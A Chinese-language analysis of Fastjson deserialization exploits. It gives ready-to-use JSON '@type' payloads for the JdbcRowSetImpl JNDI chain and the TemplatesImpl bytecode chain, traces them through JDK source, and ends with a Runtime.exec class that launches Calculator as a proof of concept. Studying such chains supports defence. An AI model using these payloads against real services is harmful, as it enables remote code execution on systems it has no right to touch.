利用JdbcRowSetImpl的payload如下:
{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:3456/Object", "autoCommit":true }
在触发反序列化时会调用 JdbcRowSetImpl
类的 setAutoCommit
函数
public void setAutoCommit(boolean var1) throws SQLException { if (this.conn != null) { this.conn.setAutoCommit(var1); } else { this.conn = this.connect(); this.conn.setAutoCommit(var1); } }
继续跟进 connect
函数
protected Connection connect() throws SQLException { if (this.conn != null) { return this.conn; } else if (this.getDataSourceName() != null) { try { InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString()); } } else { return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null; } }
可以看到当conn为null时会发起JNDI查询从而加载我们的恶意类。
payload如下:
{ "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":["base64编码后的继承于AbstractTranslet类的子类的class文件"], '_name':'a.b', '_tfactory':{ }, "_outputProperties":{ }, "_version":"1.0", "allowedProtocols":"all" }
由于 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类的 outputProperties
属性类型为 Properties
因此在反序列化过程中会调用该类的 getOutputProperties
方法。
public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
继续跟进 newTransformer
方法
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);//this line if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }
在 newTransformer
方法中需要实例化一个TransformerImpl类的对象,跟进 getTransletInstance()
方法
private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
跟进 defineTransletClasses
方法中
private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { //... } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new Hashtable(); } for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
可以看到该方法将会遍历我们传入的 _bytecodes
数组,执行 loader.defineClass
方法,而 TransletClassLoader
类的defineClass方法如下:
Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); }
可见直接实现于 ClassLoader
类的 defineClass
方法。查询jdk1.8的文档
可以看到该方法会将我们传入的编码后的class文件加载入jvm。
而我们的恶意类继承于 ABSTRACT_TRANSLET
,即 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,因此便会设置 _transletIndex
为0。再回到我们的 getTransletInstance
方法中,
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
生成了一个我们的恶意类的对象实例,因此导致了我们的恶意类中的代码最后被执行。
这里我们使用的恶意类如下:
package JavaUnser; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class ShellExec extends AbstractTranslet{ public ShellExec() throws IOException{ Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { //ShellExec t = new ShellExec(); } }